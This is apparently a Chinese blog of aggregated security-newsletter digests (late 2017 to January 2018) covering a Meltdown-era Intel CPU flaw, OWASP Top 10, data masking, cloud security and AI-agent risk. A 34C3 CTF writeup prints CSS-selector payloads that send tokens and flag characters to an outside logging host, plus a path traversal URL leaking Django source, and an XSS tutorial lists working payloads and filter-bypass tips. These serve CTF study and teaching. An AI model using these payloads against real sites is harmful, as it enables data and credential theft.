搜索此博客

2018年1月5日星期五

2018年i春秋的第一件大事:互联网安全责任峰会大幕即将拉开!

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
2018年i春秋的第一件大事:互联网安全责任峰会大幕即将拉开!  阅读原文»

随着互联网的快速发展,万物互联的时代已经到来。在互联网为社会大众带来便利的同时,跨国界的网络攻击也在愈演愈烈,网络犯罪也日益多样化。习近平总书记曾在讲话中提到"网络安全是全社会的共同责任",指出了互联网的下半场时代中一种新的责任维度:互联 ...
黑客技术官网地址:http://www.hackdig.com/

人工智能行为体  阅读原文»

作者:{CX}@ArkTeam

人工智能行为体是指一类能够感知外部环境并作为输入,通过内部算法进行决策,并利用自身驱动装置与物理世界产生交互行为的自治硬件实体。其中,外部环境包括所处自然环境及相关生物体等;内部算法是预置在人工智能行为体内部、用于产生决策的程序;驱动装置指的是可与物理世界交互或可改变人工智能行为体所处空间坐标的硬件;自治指的是人工智能行为体可以自己设定目标函数或自主决策。


人工智能行为体包括但不限于自治机器人(Intelligent Robot)、自动驾驶汽车(Self-driving Cars)、人工智能武器(Artificial Intelligence Weapon)、人工生命(Artificial Life)、智能主体(Intelligent Agent)、自治主体(Autonomous Agent)。以自治机器人战士为例,外部环境就是通过传感器感知到的攻击目标的特征,内部算法通过特征识别攻击目标做出决策。驱动装置就是机器腿和攻击武器,这样的机器人战士可以在战场上自由行动、自主决策。

不断进化中的人工智能行为体存在一个重大风险:失控!


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

2018年1月4日星期四

采购网络安全产品或服务的最佳方式

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
采购网络安全产品或服务的最佳方式  阅读原文»

采购网络安全技术的最佳方式是什么?这个问题似乎有点难以回答。

虽然大多数网络安全人员都觉得自己预算不足、人手不足,面对不断涌现的网络威胁、成山成海的事件警报,往往有心无力、疲于应付,但有一个办法可以应对该严峻的局面――效率。

如果能拿到更多预算,我们会做什么?我们怎样确保钱都花到刀刃上,获得最大收益?搞清如何有效采购信息安全产品,并不像初看上去那么简单。有四个基本方法可以遵循:

1. 大品牌路线

一站式服务听起来不错。无论是否业内最佳,从一家大型供应商处购置全部所需产品。反正一旦出事,要怪就怪那一家,对吧?

2. 精品店路线

调查研究"业内最佳"品牌,购入所有热门解决方案。这种方式与大品牌路线正相反,需要走访很多家小店。

3. 全部定制路线

雇佣小型提供商,将他们的研发导引到自己的需求上来,让他们为自己定制所需全部产品。这么做的效果会更好,但自身付出的时间和资源会很多。

4. 最佳供应商生态系统路线

信息安全空间里,每家供应商都在各自领域拥有核心竞争力。集成整合这些竞争力,可以帮助解决客户的问题。

成熟企业知道,以有限资源优化自身生态系统的最佳方式是:

  • 采用成体系的各类技术及服务;
  • 合理部署这些技术及服务;
  • 优先解决最紧迫的需求;
  • 每年至少复核一次,以保证覆盖面和投资回报率。

最终,某些安全与合规相关解决方案可能会落到不同的预算中心――合规、运营或网络安全相关。必须知道自己是否需要这些解决方案,知道该在何时购置。

从何处入手呢?

采用 SANS 20大关键安全控制之类的框架。很多框架都可以用作解决安全及合规问题的绝佳平台――NIST、CIS、PCI、NERC等等。

上图是按优先级顺序排列的 SANS 20大关键安全控制,

从上述示例中就可看出,通过集成安全生态环境内多家合作伙伴,可帮助企业有效延伸网络安全覆盖面。

相关阅读

成功的网络安全产品采购 需要这五种办法

网络安全工作的悖论:预算越多,问题就越多

好钢用在刀刃上 你的安全预算花对地方了吗?

 


黑客技术官网地址:http://www.hackdig.com/

英特尔CPU曝重大设计缺陷:Linux、Windows需修改内核  阅读原文»

其他操作系统也需更新,性能受损。

程序员们匆忙上马,彻底检查开源Linux内核虚拟内存系统。同时,微软有望在下一个周二更新日为Windows操作系统做出必要的修改:针对11月和12月推出的 Windows Insider Fast-ring 测试版。

基本上,Linux和Windows的这次更新都将对英特尔产品的性能产生影响。影响有多大尚有待衡量,但粗略估计会在5%-30%之间――依具体任务和处理器模型而定。更新一些有PCID之类功能的英特尔芯片可以减小性能损失。各用户的情况不一而足。

因为缺陷出自英特尔x86-64硬件,且似乎微代码更新无法解决该问题,所以类似的操作系统(如苹果的64位macOS)也需要更新。要么在操作系统级软件修复该问题,要么新买一块不带该设计缺陷的处理器,自己选吧!

该漏洞的细节目前尚未披露,大概会在微软下周二的更新日适时推出吧。实际上,Linux内核的补丁已经推出,只是源代码中抹去了注释以防漏洞细节太过明显。

不过,我们还是可以从中探得几分究竟。

影响

据了解,该漏洞出现在过去10年中生产的现代英特尔处理器中,可令普通用户程序――从数据库应用到浏览器JavaScript脚本,在一定程度上获悉受保护内核内存区域的布局或内容。

用内核页表隔离(KPTI)技术将用户进程与内核内存完全隔开可以解决该问题。事实上,Linux内核团队曾一度考虑用中断间接跳转强制完全解除内核映射(FUCKWIT),这么极端的办法都认真考虑过,可想而知这个漏洞给开发人员造成了多大的麻烦。

正在运行的程序无论什么时候想干点儿什么有用的事,比如写个文件或者打开个网络连接啥的,都得暂时将处理器控制权交给内核去执行这些工作。为使用户态和内核态之间的切换快速高效,即便程序本身看不到内核,内核还是会出现在所有进程的虚拟内存地址空间里。需要内核的时候,程序就执行一个系统调用,处理器切换到内核模式。而在用户态下,内核的代码和数据对用户不可见,但存在于进程的页表里。

可以把内核比作天上的神仙,端坐云头俯瞰大地。凡人看不到神仙,但是可以向神仙许愿。

KPTI补丁将内核放到一个完全隔离的地址空间,让它不仅仅对进程不可见,甚至根本不在进程里了。其实本没必要做到这一步,但很明显,英特尔的芯片里确实出现了可令内核访问防护机制被绕过的漏洞。

这一隔离方式的缺点就在于时间开销太高昂了。每次系统调用都要在两个隔离的地址空间来回倒腾,还有超级费时的硬件中断,想想都让人生无可恋。这些切换不会即时发生,还会导致处理器废弃缓存的数据而去内存中重新加载信息。所有这些都会增加内核的开销,拖慢计算机的速度。

黑客会怎么滥用这个安全漏洞呢?

至少,这个漏洞可以被恶意软件用来更加容易地利用其他安全漏洞。

最坏情况的话,就是被程序和已登录用户利用来读取内核内存里的内容了。总之,情况很不妙。内核内存空间之所以对用户进程不可见,是因为它有可能含有各种各样的秘密,比如口令、登录密钥、缓存的磁盘文件等等。不难想象,一旦浏览器里运行的JavaScript脚本,或者共享公共云服务器上的恶意软件能够嗅探内核中受保护的数据,那会是怎样一个恐怖的场景。

尤其是,该漏洞可被滥用来击溃KASLR(内核地址空间布局随机化)――操作系统在虚拟内存的随机位置部署内核组件的一种防御机制。该机制可挫败滥用内核中其他漏洞的企图:通常是漏洞利用代码,尤其是面向返回编程的漏洞利用代码――依赖对内存中已知位置的计算机指令的重用。

如果内核代码在内存中的位置被随机化了,漏洞利用代码就找不到所需的内部组件,也就不能完全破坏系统了。该处理器设计缺陷有可能被用来找出内核在内存中存放其数据和代码的位置,因此,必须赶紧打上软件补丁。

然而,英特尔芯片中的漏洞有可能造成比上述缓解措施被绕过更糟糕的后果。圣诞节时,AMD给Linux内核邮件列表发了封电子邮件,称AMD处理器不受该漏洞影响。然而,该邮件中的措辞实际上透露了该漏洞利用上的一些细节:

AMD处理器不受内核代码数据读取攻击的影响。AMD微架构不允许内存引用,包括猜测性的引用,也就是可导致页面出错的低权限模式下对高权限数据的访问。

此处的关键词是"猜测性"。英特尔之类现代处理器会进行猜测性代码执行――CPU尽最大努力猜测下一个要执行的代码是哪段并取来执行,以使其内部管道布满一系列应执行的指令,提升CPU指令执行的效率。

从上面AMD软件工程师汤姆・兰达基所述看来,英特尔CPU的猜测性代码执行很可能缺乏必要的安全检查。似乎可以构造那么一种软件,让处理器开始执行通常会被阻止的指令(比如以用户态读取内核内存),并在权限检查发生前就将该指令执行完毕。

这么做就可以使Ring3级用户代码能够读取Ring0级内核数据了。当然,这不是什么好事。

该漏洞的细节还有待证实,关于其严重性的讨论也只是猜测,但考虑到Linux和Windows的大改,以及这些大幅更新推出的快速性,这一漏洞很可能比KASLR绕过更严重。

在Linux上隔离内核与用户地址空间的更新,是在名为KAISER的补丁集上做出的。创建KAISER补丁集的奥地利格拉茨技术大学科学家们,正是发现可以通过对CPU虚拟内存系统的边信道攻击,抽取内核内存布局信息以挫败KASLR防护的那个团队。该团队提出,分隔内核与用户空间可防止此类信息泄露,而他们的研究正是这一轮KPTI补丁的灵感来源。

7月份的时候,有人写了篇博客,记叙自己通过滥用猜测性执行来从用户态读取内核内存的尝试。尽管没给出任何可用的概念验证代码,这位仁兄提到:

我的结果表明,即便内核态和用户态之间的隔离被打破,猜测性执行确实还在进行。

KAISER补丁集似乎就与这篇博客文章相关,而格拉茨技术大学团队通过滥用虚拟内存布局突破KASLR防护的方法,也在某种程度上证明了这位博主的正确性――英特尔x86芯片上的猜测性执行是可以用来获取内核内存的。

共享系统

元旦时,一篇流传甚广的推特文章称,该漏洞将影响一系列大品牌云计算环境,包括亚马逊EC2、微软Azure和谷歌Compute Engine:

目前有个暂不公开的安全漏洞,影响当下所有实现了虚拟内存的英特尔CPU架构,需要硬件修改才能完全解决。目前已经开发出了紧急软件缓解措施,并已应用到Linux内核上,NT内核中的类似缓解措施似乎在11月份就出现了。最坏情况下,该软件补丁会导致正常工作负载的执行速度大幅变慢。有迹象表明,对这一漏洞的攻击会影响到常见虚拟化环境,包括亚马逊EC

阅读更多内容

2018年1月3日星期三

python http.server open redirect vulnerability

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
python http.server open redirect vulnerability  阅读原文»

<p>Github账号被封了以后,Vulhub也无法继续更新了,余下很多时间,默默看了点代码,偶然还能遇上一两个漏洞,甚是有趣。</p> <p>这个漏洞出现在python核心库http中,发送给官方团队后被告知撞洞了,且官方也认为需要更多人看看怎么修复这个问题,所以我们来分析一下。</p> <h2 id="0x01-httpserver"><a class="toclink" href="#0x01-httpserver">0x01 http.server库简单分析</a></h2> <p>众所周知Python有一个一键启动Web服务器的方法:</p> <div class="codehilite"><pre><span></span>python3 -m http...</pre></div>
黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

2018年1月2日星期二

34c3 Web部分Writeup

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
34c3 Web部分Writeup  阅读原文»

34c3作为ctftime很少见的高权重比赛仍然没让人失望,提供了足够好的题目质量,其中有3题是和xss有关系的,很有趣

这里整理了一下Writeup给大家

urlstorage

初做这题目的时候感觉又很多问题,本以为最后使用的方法是正解,没想到的是非预期做法,忽略了题目本身的思路,抛开非预期不管,题目本身是一道非常不错的题目,用了css rpo来获取页面的敏感内容。

CSS RPO

首先我们需要先解释一下什么是CSS RPO,RPO 全称Relative Path Overwrite,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

先放几篇文章
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/

这里就不专门讲述RPO的种种攻击方式,这里只讨论CSS RPO,让我们接着看看题目。

Writeup

回到题目。

整个题目站点是django写的,然后前台用nginx做了一层反代。
image.png-135.8kB

然后整站带有CSP

1
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';

站点内主要有几个功能,每次登陆都会生成独立的token,/urlstorage页面可以储存一个url链接,/flag页面会显示自己的token和flag(根据token生成)

仔细研究不难发现一些其他的条件。

1、flag页面只接受token的前64位,而token则是截取了token的前32位做了判断,在token后我们可以加入32位任意字符。
2、flag页面有title xss,只要闭合</title>就可以构造xss,虽然位数不足,我们没办法执行任何js。
3、urlstorage页面存在csrf,我们可以通过让服务端点击我们的链接来修改任意修改url

但是,很显然,这些条件其实并不够足以获取到服务端的flag。

但题目中永远不会出现无意义的信息,比如urlstorage页面,在刚才的讨论中,urlstorage页面中修改储存url的功能可以说毫无意义,这时候就要提到刚才说的RPO了。

首先整个站点是django写的,所有页面都是通过路由表实现的,所以无论我们在后面加入什么样的链接,返回页面都是和urlstorage一样的

1
2
3
http://35.198.114.228/urlstorage/random_str/1321321421
-->
http://35.198.114.228/urlstorage

看上去好像没什么问题,但是页面内的静态资源是通过相对路径引入的。

image.png-102.4kB

因为我们修改了根url,所以css的引入url变成了
image.png-158.8kB

我们把当前页面当做成css样式表引入到了页面内。

这里我们可以通过设置url来向页面中加入一些可以控制的页面内容。

这里涉及到一个小技巧:
CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行

也就是说如果我们设置url为%0a{}%0a*{color:red}

那么页面内容会变成
image.png-37.6kB

当引入CSS逐行解析的时候,color:red就会被解析

image.png-65.4kB

通过设置可控的css,我们就可以使用一个非常特别的攻击思路。

我曾经在讲述CSP的博客中提到了这种攻击思路,通过CSS选择器来读取页面内容
https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass

1
2
3
4
a[href^=flag?token=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag?token=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
..
a[href^=flag?token=f]{background: url(//l4w.io/rpo/logging.php?c=f);}

当匹配a标签的href属性中token开头符合的时候,就会自动向远程发送请求加载图片,服务端接收到请求,就代表着匹配成功了,这样的请求我们可以重复多次,就能获取到admin的token了。

这里有个小细节,服务端每次访问都会重新登陆一次,每次重新登陆都会刷新token,所以题目在contact页面还给出了一个脚本pow.py,通过这个脚本,服务端会有30s时间来访问我们的所有url,这样我们就有足够的时间拿到服务端的token。

但是问题来了,我们仍然没办法获取到flag页面的flag。

这里需要一个新的技巧。

在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url。

那么,既然flag页面的token参数,我们有24位可控,那么我们完全可以引入/urlstorage作为base标签,这样CSS仍然会加载urlstorage页面内容,我们就可以继续使用CSS RPO来获取页面内容。

这里还有个小坑

当我们试图使用下面的payload来获取flag时

1
#flag[value^=34C3]{background: url(https://xxx?34c3);}

字符串首位的3不会被识别为字符串,必须使用双引号包裹才能正常解析。但是双引号被转义了。

这里我们需要换用*

1
*号选择器代表这属性中包含这个字段,由于flag中有_存在,所以不会对flag的获取有影响

payload如下

1
2
3
4
#flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
..
#flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}

完全的payload我就不专门写了,理解题目的思路比较重要。

整个题目的利用链非常精巧,服务端bot比我想象中要强大很多,有趣的是,整个题目存在配置的非预期,我一度认为非预期解法是正解。

非预期

以前在pwnhub第二期中曾经接触到过一个知识点,django的静态资源路由(static)本身就是通过映射静态资源目录实现的,当django使用nginx做反代时,如果nginx配置出现问题,那么就有可能存在导致可以跨目录的读取文件,导致源码泄露。34c3的所有django的web题目都有这个漏洞。

当我们访问

1
http://35.198.114.228/static../views.py

就可以获取到源码,让我们锁定flag页面的源码

1
2
3
4
5
6
7
8
9
10
11
@login_required
def flag(req)静态数据脱敏产品技术路线分析  阅读原文»

随着信息技术的高速发展,各用户单位业务系统经过多年沉淀,积累了大量个人隐私数据和企业信息。海量数据除了内部流转,还需要进行外部"共享",这亦是国家大数据发展战略规划的需求和前提。如何保证数据在产生、交换、共享等场景下的安全可用?这让数据脱敏安全技术成为热门。

《网络安全法》的正式实施,数据脱敏被纳入法规遵从的需求。《网络安全法》要求:数据流动过程中应重视保护个人隐私、社保信息、资产信息、医疗信息等敏感信息的安全。为满足这一要求,数据共享时需要使用数据脱敏技术。特别是当数据应用于开发、测试、培训等环境时,安全风险较大,使用真实数据将临严重数据泄露的风险。

数据脱敏又称数据去隐私化或数据变形,是在给定的规则、策略下对敏感数据进行变换、修改的技术机制,能够在很大程度上解决敏感数据在不可控环境中使用的问题。国内银行、通信运营商等是最早开始使用数据脱敏工具的单位,多以静态脱敏为主。

市面上有诸多静态脱敏产品,如何做挑选?本文将从这些脱敏产品的技术路线进行分析,从使用效果出发,浅析各种技术在脱敏过程中使用效果上存在的差异,呈现产品真正能实现的功能和价值。希望能为广大用户在数据脱敏产品的选型上提供参考。

一、脱敏系统的数据获得方式

数据脱敏第一步,需要获得数据库中的数据。如何获得数据主要有以下几种方式:

1. 代理软件

使用代理软件,部署在数据库上从数据库读取数据。这种方式的脱敏产品对用户方来说是侵入式的,只有极少数产品才这样使用。市面上数据备份厂商的数据脱敏产品会采用这种方式,因为利用备份软件客户端作为数据脱敏的数据采集工具使用,速度较快。

2. 数据库开发接口

这种针对不同的数据库开发接口方式的有点在于数据采集速度较快,市面上大部分脱敏产品采用此种方式。这种采集方式的缺点也很明显,数据库类型太多,脱敏产品支持的数据库类型与版本都会受限制。如果用户将来升级了数据库版本,除非脱敏厂商也花精力开发升级版本,否则采购的脱敏产品可能无法继续支持。

3. ETL技术

这种采集技术的优势是兼容性大,ETL工具兼容的数据库类型是最全面的。当然这个方式也有弱点,由于不是专门针对特定数据库类型开发,在没有强大的ETL技术积累的情况下,采集数据的速度一般。从国外脱敏厂商来看,具备有一定ETL技术积累优势大多采用此种技术,如:Informatica 。而国内脱敏厂商中,大多数厂商主业并不是大数据处理,没有ETL工具的技术能力而很少采用。

二、数据落地与否

数据落地是指数据脱敏过程中,数据需要保存到脱敏系统后再进行脱敏。数据落地的好处是,获得了需要脱敏的全部数据后再脱敏,对数据关系、业务关联方面容易处理与实现。但问题是,数据落地需要脱敏系统也具有数据源同样大小的存储空间,对脱敏系统的存储要求较高,同时进行多业务数据源脱敏的情况下,还需要对接存储系统,不仅硬件成本高,还存在安全困扰。

数据脱敏从信息安全的职责分离的要求下出发,脱敏系统的管理者为安全管理员,将DBA接触敏感数据场景剥离出来,同时安全管理员不具有DBA权限也无法查看全部的敏感数据。但在数据落地的情况下,安全管理员可以从数据脱敏系统内获得全部敏感数据,这就违背了职责分离的初衷。

市面上大部分产品不会采用此种数据落地方式脱敏,只有少数由于没有ETL技术,也没有针对不同数据库开发接口,拥有备份技术积累的脱敏厂商会使用这种脱敏方式。

三、脱敏算法的复杂程度

脱敏系统需要解决的一个重要安全问题是算法的可逆性。脱敏系统不像脚本处理作简单替换即可。以国内姓名字段的脱敏算法为例,用于姓名的主要脱敏技术主要有包括:

(1)直接将所有中文姓名,替换为固定姓名,如"张―"。这种算法简单,处理速度快,安全性差,处理结果单一,分布特征完全丧失。

(2)将原姓名每个中文字符的编码进行偏移随机长度,以生成另外一个中文字符。这种算法安性高,像真实姓名一样。速度也较快,处理后的数据结果有较强的真实性。

(3)准备一张常见中文名字的码表,存放100万左右的中文姓名,将原有姓名hash查表后进行替换。数据脱敏算法需要大量时间和空间开销,数据安全性一般,算法可逆程度不高。

(4)分析原始数据通过预处理建立频度码表的方式。这种方式需要先分析原始数据的特征,然后建立一个频度的分析报告,再建立不同字符的分布标准表格,脱敏算法依据频度对应的字符来替换。

在选择脱敏产品时,也应该关注数据脱敏算法,选择最为高效可用的。

四、脱敏系统的环境适应能力

市场上数据库种类多,服务器与系统种类也多,特别是一些不常用的系统与数据库,类似于小机环境下的数据库,部分客户还是IBM的Z系统的大型机等。

面对拥有不同类型的服务器与数据库的客户,市场上并不是所有脱敏系统全部兼容支持的。用户在选用这些脱敏系统时需要具有长远的发展眼光,将来可能会用到的数据库与系统,脱敏产品时是否需要全面支持。

另外,还需要考虑不同数据库之间的数据脱敏转换。(异构数据脱敏)可能会出现源数据库使用的是一种类型,而数据需求方使用的数据库是另一种类型,这时候的数据脱敏就需要兼容不同数据库之间的数据转换。

五、脱敏厂商的安全与数据库服务能力

数据脱敏系统毕竟不同于传统网络安全的硬件,需要对数据库具有较深入的理解,是信息安全与数据库DBA的结合领域。

一方面需要脱敏产品具有传统安全的理念,如实现数据脱敏的流程化、落实数据的职责分离。(如脱敏系统属于安全管理员维护的系统、而数据库维护属于DBA职责)。另一方面,系统应具有配套的流程管理系统,帮助安全管理员实现数据的脱敏。

由于安全管理员不具有DBA的知识背景,在很多脱敏项目中需要脱敏厂商帮助安全管理员来制定脱敏策略,实现数据安全脱敏。

六、快速响应客户的开发能力

数据脱敏系统国外产品进入国内已经多年,早期大数据用户使用时会明显感觉国外产品对国内用户使用带来的不便,需要将产品做一些修改调整时往往无法实现。

随着国内脱敏产品的日益完善,国外脱敏产品已正慢慢退出,国内产品可以按客户要求场景快速修改(二次开发能力),满足国内用户的使用要求。

七、脱敏解决方案的全面性

阅读更多内容

2018年1月1日星期一

云安全:再见 2017,你好 2018!

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
云安全:再见 2017,你好 2018!  阅读原文»

随着越来越多的公司企业面临云迁移挑战,安全与合规,将成2018热门话题。2018年,几项重要新规将推动云安全迈向更高台阶,更好地保护消费者和终端用户,比如5月份就将完全生效的欧盟《通用数据保护条例》(GDPR)。

这对2018意味着什么呢?

1. 问责转折点将改变敏感隐私信息保管者生存状况

2017年发生的重大数据泄露事件,比如Equifax和Uber事件,深深触动了公众的神经。2018年,这种焦虑将会转变成行动。数据保管者将面临更高数据安全标准的约束。董事会和高管层的监督将会更加严格,安全渎职的后果会非常严重。更严苛的法规已上路,它们将继续加强信托预期,加重对不合规行为的处罚。

安全风险管理会因此迎来改变。高管们更难以推卸责任到下属身上。可接受风险的基准会有调整,企业风险管理的方法也将随之做出改变。

2. 认清"不可能有完美安全"的事实

2018年,数据保管者需为云数据泄露及其严重后果做好准备。对各种配置的尽职审查,安全最佳实践的持续审计,积极主动的监测,定期红蓝对抗演练,以及安全事件响应计划,将成为2018安全话题的重要部分。

数据泄露事件的快速发现、修复和报告,能让CEO的事件后新闻发布会更加容易。因此,可以预期,2018年,事件响应时间会吸引更多关注。这种对响应敏捷性的关注,结合上向云端的迁移,将打破IT现状。以策略为中心的边界安全工具,需要大量人力才能保持有效并贴合当前状况。

这些工具不会消失,但其劳动密集型的维护要求,将变得不可容忍。迈向云端之后,开发运维和越来越快的服务交付速度,放大了问题,令人工过程完全无法应付。

3. 全自动化将变成现实

开发运维和云计算拉开了自动化派对的大幕,2018年,聚会成员中估计还要加上安全。在云端,自动化用例将延伸出开发运维的范畴,让合规、检测和配置管理更加系统化,更加健壮。事件检测、取证和可见性,也将纳入自动化的范围。

机器学习技术将驱动自动化解决方案迈向成功,应用机器学习方法的供应商将带来巨大价值。2017年,云安全自动化话题兴起;2018年,该话题将成为主流,越来越多的公司企业将运用自动化技术大幅改善云安全状况。问题复杂度不会降低,变革速度不会放缓,常规安全工具不再适应云环境的事实将获得广泛认同。

云服务提供商(CSP)将继续重视安全及安全自动化。举个例子,2017年,亚马逊就以新服务和工具,迅速响应了AWS错误配置和S3存储桶泄露的高风险。2018年,CSP会在云安全上投入更多。与CSP原生安全功能协同工作的第三方供应商,将带来强大的新解决方案,帮助自动化并简化整个安全栈的运营。

再见,2017!

2018年将成为云安全的分水岭。2017年一系列令人震惊的数据泄露之后,重大变革即将到来。风险计算将转向更高的关注标准。IT从业者将更加关注问责和响应等方面的问题。

惟愿这些变化能让2018年安全事件少发。

相关阅读

2018年12大顶级云安全威胁

安全自动化在于信任,而非技术

欧盟给谷歌开出27.3亿美元罚单 GDPR合规重要性凸显

 


黑客技术官网地址:http://www.hackdig.com/

阅读更多内容

2017年12月30日星期六

2017 OWASP十大关键Web应用安全风险简析

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订 。
2017 OWASP十大关键Web应用安全风险简析  阅读原文»

前不久,安全牛报道了2017 OWASP的十大安全问题最终版,下面这篇文章则对十大安全风险做了简单分析。

2017 OWASP十大关键Web应用安全风险简析

受越来越短的软件项目生命周期影响,有些应用面临损及金融、医疗、零售业和其他行业数字安全的风险。开发人员和经理必须了解这些最常见的风险,才能保护自己的应用。为此,开放网页应用安全计划(OWASP)定期发布十大最关键Web应用安全风险。

该计划从专精应用安全的公司企业收集40多份数据,数据涵盖数百家公司处收集的漏洞信息,涉及10万个应用和API。

OWASP根据可利用性、普遍性、可检测性和技术影响程度,给每种风险打分。这些风险是随时在变的。

比如说,来自社区的500个同行提交,就在2017年往OWASP榜单的前瞻风险类列表中加入了2个新成员。该组织还从源代码分析安全测试(SAST)数据集中加入了一个新门类。

另外的变化也不是没有。

2013年,两种老旧风险掉出OWASP"十大"榜单――不安全直接对象引用和缺乏函数级访问控制,这两个门类合并成了2017年榜单上的"失效的访问控制"。

另外,基于现代应用中的流行程度,OWASP将跨站请求伪造(CSRF)和非法链接跳转给踢出了十大。

OWASP 2017 十大关键Web应用安全风险如下:

1. 注入

可利用性:3 – 容易

漏洞普遍性:2 – 常见

漏洞可检测性:3 – 容易

技术影响:3 – 严重

注入包括SQL注入、OS注入、LDAP)轻量级目录访问协议)注入等,可致解释器将非受信数据作为查询或指令的一部分加以接收。攻击者可利用注入来诱骗解释器执行恶意代码,或赋予他们本不应有的敏感数据访问权。

开发人员和经理只要经常进行安全代码审查,就可有效避免应用被注入。在持续集成和持续交付(CI/CD)管道中引入SAST和动态应用测试(DAST),是做到这一点的好办法。

2. 失效的身份验证

可利用性:3 – 容易

漏洞普遍性:2 – 常见

漏洞可检测性:2 – 一般

技术影响:3 – 严重

应用的身份验证和会话管理功能,未必能正确实现。一旦验证和会话管理功能失效,攻击者可盗取口令、密钥或会话凭证。利用漏洞冒充已验证用户,也是攻击者惯用手法之一。

多因子身份验证是抵御验证失效的最佳办法,因为该方法可预防被盗凭证重用攻击之类的事件。开发人员和经理不应在应用中留有管理员凭证。检查弱口令并限制登录失败次数的功能,则应加入到应用中。

3. 敏感数据暴露

可利用性:2 – 一般

漏洞普遍性:3 – 普遍

漏洞可检测性:2 – 一般

技术影响:3 – 严重

有些应用和API未引入恰当的敏感信息防护功能,金融数据或登录凭证之类的敏感数据未得到应有的保护。数字攻击者可利用程序中的缺陷,盗取并滥用该敏感信息,进行身份盗窃或信用卡诈骗活动。

只要开发人员和经理确定不了数据防护需求――无论是传输过程中还是存储介质上的数据,敏感数据暴露的威胁就不能被缓解。他们应先确定哪些数据是敏感的,然后用健壮的最新算法加密保护之。同时,不应存储非必要的敏感信息,不必要的敏感信息就应该安全地销毁掉。

4. XML外部实体(XXE)

可利用性:2 – 一般

漏洞普遍性:2 – 常见

漏洞可检测性:3 – 容易

技术影响:3 – 严重

可扩展标记语言(XML),是指定文档编码准则的一种标记语言,其处理器负责解析XML文档并采取相应的操作。有些XML处理器设计粗劣或配置不当,可能对XML文档中的外部实体引用进行求值操作。攻击者就能利用这些实体来暴露内部文件,进行内部端口扫描,实现远程代码执行。

开发人员和经理可通过序列化敏感数据,使用JSON之类简单数据格式的方法,来缓解XXE威胁。他们还应确保修复升级应用中的所有XML处理器,在所有相关XML解析器中禁用XML外部实体处理功能。

挖洞经验 | 可以被XSS利用的HTML标签和一些手段技巧  阅读原文»

XSS让我们在渗透中有无限的可能,只要你发挥你的想象。  引用一位前辈总结的很贴切的一句话――"XSS使整个WEB体系变得具有灵性" 。

网上关于XSS的教程数不胜数,转载来转载去的,就是那么些Payload,可能看的人晕晕的不知所以然。而且还有很多Payload就算把其中的HTML代码闭合后写在自己的前端中,都不一定触发,因为很多老的标签和事件都已经被W3C给废弃了。本文首先给大家总结一下目前通用可以拿来构造XSS的HTML标签和一些标签事件,然后再给大家讲述一些绕过的技巧,教你在么构造出属于你自己渗透时真正需要的Exp。

可以成功执行的标签

<a href="javascript:confirm('a')" >1</a >

a标签 当点击时才会触发  

<img src=“#“ onclick=“javascript:alert(‘img:onclick’)“ onerror=“javascript:alert(‘img:onerror’)“ onload=“javascript:alert(‘img:onload’)“>

<!–src加伪协议js代码不能触发–>

<video src=“#“ onclick=“javascript:alert(‘video:onclick’)“ onerror=“javascript:alert(‘video:onerror’)“ onload=“javascript:alert(‘video:onload’)“></video>

<audio src=“#“ onclick=“javascript:alert(‘audio:onclick’)“ onerror=“javascript:alert(‘audio:onerror’)“ onload=“javascript:alert(‘audio:onload’)“></audio>

<!--这些标签中src加伪协议js代码不能触发,IE8以前的时候可以-->

img、video、audio标签   onclick:点击触发   onerror:当src加载不出来时触发   onload:当src加载完毕触发

<iframe src=    "javascript:alert('iframe')" width    = "0" height        = "0"/>

iframe标签,写入后网页加载自动执行

<form action= "Javascript:alert('from_action0')">    <input type= "submit" formaction=" JaVaScript:alert('from_action2')">    <input type= "image" formaction=" JaVaScript:alert('from_action1')">    <input type ="text" onchange ="JaVaScript:alert('from_action3')"> 

在表单中一些标签,前三个都要点击事件触发,最后一个是得到改变内容时触发

<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>    <svg onload=" javascript:alert('svg')"></svg >    <body onload= "javascript:alert('body')"></body>    <select autofocus onfocus="javascript:alert('select' )"></select>    <textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>    <keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>    <audio><source onerror="javascript:alert('source')"></ audio>

一些事件标签 要对应的事件发生可以触发 加上autofocus可以自动触发

目前整理出来在各个浏览器通用的就是这些 以后会持续更新 可以关注我的博客或者DX安全团队

一些绕过姿势

首先,有一些脚本小子可能还不知道什么是exp,所谓exp就是一个精心构造可以配合或者绕过WAF成功触发XSS的一段代码,网上那些一发就是一大段的Payload可能到你那里就不合适了,因为Exp是需要针对性构造的。

想要写出一个能触发的Exp,需要不停的探测输入于输出,推测WAF过滤规则,一般都会先输入” ‘ / # on < script > 等特殊字符,然后到输出点,查看是否可以正常输出,如果输入<>还正常输出了,那么有可能是被实体编码了,所以最好不要在网页中看或者审核元素看 应该右键查看源代码进行定位,这才是最好的办法,当然你也可以写一些小插件,都是很Nice的。对于<>被过滤实体编码的可以试试一些on事件,不行就看看下面的一些姿势吧!

百分再百分

看了标题是不是很疑惑,什么百分又百分,难道是百分百绕过?美滋滋?哈哈 我就是内标题党一次。

